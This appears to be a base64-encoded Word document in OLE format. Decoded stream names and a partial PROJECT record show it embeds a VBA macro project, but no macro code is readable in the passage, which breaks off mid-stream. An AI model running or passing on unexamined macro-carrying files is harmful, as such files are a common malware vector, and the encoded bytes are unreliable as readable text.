AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP7/AAAGAgIAAAAAAAAAAAAAAAAAAAAAAAEA AAAC1c3VnC4bEJOXCAArLPmuMAAAAOgAAAAMAAAAAQAAAGgAAAAPAAAAcAAAAAUAAAB8AAAA BgAAAIQAAAARAAAAjAAAABcAAACUAAAACwAAAJwAAAAQAAAApAAAABMAAACsAAAAFgAAALQA AAANAAAAvAAAAAwAAADJAAAAAgAAAOMEAAAeAAAABAAAAAAAAAADAAAAagEAAAMAAABlAAAA AwAAAA/HAAADAAAAAAAPAAsAAAAAAAAACwAAAAAAAAALAAAAAAAAAAsAAAAAAAAAHhAAAAEA AAABAAAAAAwQAAACAAAAHgAAAAYAAABUaXRsZQADAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAgAAAAMAAAAEAAAABQAAAAYAAAAHAAAACAAAAAkA AAAKAAAACwAAAAwAAAANAAAADgAAAA8AAAAQAAAAEQAAABIAAAATAAAAFAAAABUAAAAWAAAA FwAAABgAAAAZAAAAGgAAABsAAAAcAAAAHQAAAB4AAAAfAAAAIAAAACEAAAAiAAAAIwAAACQA AAAlAAAAJgAAACcAAAAoAAAAKQAAACoAAAArAAAALAAAAC0AAAAuAAAALwAAADAAAAAxAAAA MgAAADMAAAA0AAAANQAAADYAAAA3AAAAOAAAADkAAAA6AAAAOwAAADwAAAA9AAAAPgAAAD8A AABAAAAAQQAAAEIAAABDAAAARAAAAEUAAABGAAAARwAAAEgAAABJAAAASgAAAEsAAABMAAAA TQAAAE4AAABPAAAAUAAAAFEAAABSAAAAUwAAAFQAAABVAAAAVgAAAFcAAABYAAAAWQAAAFoA AABbAAAAXAAAAF0AAABeAAAAXwAAAGAAAABhAAAAYgAAAGMAAABkAAAAZQAAAGYAAABnAAAA aAAAAGkAAABqAAAAawAAAGwAAAD+////bgAAAG8AAABwAAAAcQAAAHIAAABzAAAAdAAAAHUA AAB2AAAAdwAAAHgAAAB5AAAAegAAAHsAAAB8AAAAfQAAAH4AAAB/AAAAgAAAAIEAAACCAAAA gwAAAIQAAACFAAAAhgAAAIcAAACIAAAAiQAAAIoAAACLAAAAjAAAAI0AAACOAAAAjwAAAJAA AACRAAAAkgAAAJMAAACUAAAAlQAAAJYAAACXAAAAmAAAAJkAAACaAAAAmwAAAJwAAACdAAAA ngAAAJ8AAACgAAAAoQAAAKIAAACjAAAApAAAAKUAAACmAAAApwAAAKgAAACpAAAAqgAAAKsA AACsAAAArQAAAK4AAACvAAAAsAAAALEAAACyAAAAswAAALQAAAC1AAAAtgAAALcAAAC4AAAA uQAAALoAAAC7AAAAvAAAAL0AAAC+AAAAvwAAAMAAAADBAAAAwgAAAMMAAADEAAAAxQAAAMYA AADHAAAAyAAAAMkAAADKAAAAywAAAMwAAADNAAAAzgAAAM8AAADQAAAA0QAAANIAAADTAAAA 1AAAANUAAADWAAAA1wAAANgAAADZAAAA2gAAANsAAADcAAAA3QAAAN4AAADfAAAA4AAAAOEA AADiAAAA4wAAAOQAAADlAAAA5gAAAOcAAADoAAAA6QAAAOoAAADrAAAA7AAAAO0AAADuAAAA 7wAAAPAAAADxAAAA8gAAAPMAAAD0AAAA9QAAAPYAAAD3AAAA+AAAAPkAAAD6AAAA+wAAAPwA AAD9AAAA/gAAAP8AAAAAAQAAAQEAAAIBAAADAQAABAEAAAUBAAAGAQAABwEAAAgBAAAJAQAA CgEAAAsBAAAMAQAADQEAAA4BAAAPAQAAEAEAABEBAAASAQAAEwEAABQBAAAVAQAAFgEAABcB AAAYAQAAGQEAABoBAAAbAQAAHAEAAB0BAAAeAQAAHwEAACABAAAhAQAAIgEAACMBAAAkAQAA JQEAACYBAAAnAQAAKAEAACkBAAAqAQAAKwEAACwBAAAtAQAALgEAAC8BAAAwAQAAMQEAADIB AAAzAQAANAEAADUBAAA2AQAANwEAADgBAAA5AQAAOgEAADsBAAA8AQAAPQEAAD4BAAA/AQAA QAEAAEEBAABCAQAAQwEAAEQBAABFAQAARgEAAEcBAABIAQAASQEAAEoBAABLAQAATAEAAE0B AABOAQAATwEAAFABAABRAQAAUgEAAFMBAABUAQAAVQEAAFYBAABXAQAAWAEAAFkBAABaAQAA WwEAAFwBAABdAQAAXgEAAF8BAABgAQAA/v///2IBAABjAQAAZAEAAGUBAABmAQAAZwEAAGgB AABpAQAAagEAAGsBAABsAQAAbQEAAG4BAABvAQAA/v////////////////////////////// ////////////////eQEAAHoBAAB7AQAAfAEAAH0BAAB+AQAAfwEAAP7////9/////f////3/ ///9////hQEAAIYBAAC7AQAA/v///4kBAAC8AQAAiwEAAIwBAACNAQAAjgEAAI8BAACQAQAA kQEAAJIBAACTAQAAlAEAAJUBAACWAQAAlwEAAJgBAACZAQAAmgEAAJsBAACcAQAAnQEAAJ4B AACfAQAAoAEAAKEBAACiAQAAowEAAKQBAAClAQAApgEAAKcBAACoAQAAqQEAAKoBAACrAQAA rAEAAK0BAACuAQAA/v///7ABAACxAQAAsgEAALMBAAC0AQAAtQEAALYBAAC3AQAAuAEAALkB AAC6AQAA/v////7///+9AQAA/v////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// /////////////////////1IAbwBvAHQAIABFAG4AdAByAHkAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAWAAUB//////////8DAAAABgkCAAAAAADAAAAA AAAARgAAAAAAAAAAAAAAAJB6ut0iDdEBiAEAAEAGAAAAAAAARABhAHQAYQAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoAAgH///// //////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABtAAAA5+YBAAAA AAAxAFQAYQBiAGwAZQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAADgACAAEAAAD//////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAGEBAAALHQAAAAAAAFcAbwByAGQARABvAGMAdQBtAGUAbgB0AAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaAAIBBgAAAAUAAAD/////AAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC7YAAAAAAAABQBTAHUAbQBtAGEA cgB5AEkAbgBmAG8AcgBtAGEAdABpAG8AbgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACgA AgH///////////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAAA oAEAAAAAAAAFAEQAbwBjAHUAbQBlAG4AdABTAHUAbQBtAGEAcgB5AEkAbgBmAG8AcgBtAGEA dABpAG8AbgAAAAAAAAAAAAAAOAACAQQAAAD//////////wAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAHgBAAAAEAAAAAAAAE0AYQBjAHIAbwBzAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOAAEBAgAAAA0AAAALAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAQkRrdIg3RASC4Gt0iDdEBAAAAAAAAAAAAAAAAVgBCAEEA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAgAAQD//////////wkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABCRGt0iDdEBILga3SIN 0QEAAAAAAAAAAAAAAABkAGkAcgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAACAP///////////////wAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAgAAAAAAAFQAaABpAHMARABvAGMAdQBtAGUA bgB0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaAAIBCAAAAAoA AAD/////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAigEAAKxIAAAAAAAA XwBWAEIAQQBfAFAAUgBPAEoARQBDAFQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAABoAAgD///////////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAACvAQAA1xcAAAAAAABQAFIATwBKAEUAQwBUAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAACAQcAAAAMAAAA/////wAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAkAAAByAQAAAAAAAAEAAAACAAAAAwAAAAQA AAAFAAAABgAAAAcAAAAIAAAA/v///woAAAALAAAADAAAAA0AAAAOAAAA/v////7///8RAAAA /v///xMAAAAUAAAAFQAAABYAAAAXAAAAGAAAAP7///////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// ////////////////Af6xgAEABAAAAAMAMCoCApAJAHAUBkgDAIICAGTjBAQABwAcAFByb2pl Y3QFUQAoAABAAhQGAhQ9rQIKBwJsARQIBhIJAhKAxeXrVxEADAJKEjwCChYAAXJzdGQQb2xl PgIZcwB0AABkAG8AbABlUAANAGgAJV4AAyoAXEd7MDAwMjCwNDMwLQAIBARDAAoDAg4BEjAw NDZ9IwAyLjAjMCNDOgBcV2luZG93cwBcU3lzdGVtMwQyXANlMi50bGIAI09MRSBBdXSAb21h dGlvbgBgAwACg0VOb3JtYWwFg0VOgENyAG0AYVGARg4AIIARCYABKixcQwMSCgacgG0IAEGD IU9mZmljhGdPRABmgABpAGOCZ54FgB+UgiFHezJERgA4RDA0Qy01QgBGQS0xMDFCLZBCREU1 gGdBQYBlGjSABTKIZ4C6Z3JhAG0gRmlsZXNcQENvbW1vbgQGTQBpY3Jvc29mdAAgU2hhcmVk XABPRkZJQ0UxNQBcTVNPLkRMTAYjhxCDTSAxNS4wCCBPYoHjIExpYrByYXJ5gCWAAA+CeogB ABPCAUycGUJlAFRoaXNEb2N1gG1lbnRHABjACYJUwGZpAHMARMBIiGMAdUBJZQBuwG4qGs4L MtoLHMASAAAKSEIBMUKJ/TMAABYeQgIBBSzCISo2IhVCCCtCARBCAQAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASUQ9Ins3 MzBFNkQwRi03NEM5LTQ4NDktOUYwOC05MTk4OTI1MDBDNUR9Ig0KRG9jdW1lbnQ9VGhpc0Rv Y3VtZW50LyZIMDAwMDAwMDANCk5hbWU9IlByb2plY3QiDQpIZWxwQ29udGV4dElEPSIwIg0K VmVyc2lvbkNvbXBhdGlibGUzMj0iMzkzMjIyMDAwIg0KQ01HPSIxQjE5QTJDQ0M0RDBDNEQw QzREMEM0RDAiDQpEUEI9IjM5M0I4MEY1ODFGNTgxRjUiDQpHQz0iNTc1NUVFMTAxMjMwMzEz MTMxMzFDRSINCg0KW0hvc3QgRXh0ZW5kZXIgSW5mb10NCiZIMDAwMDAwMDE9ezM4MzJENjQw 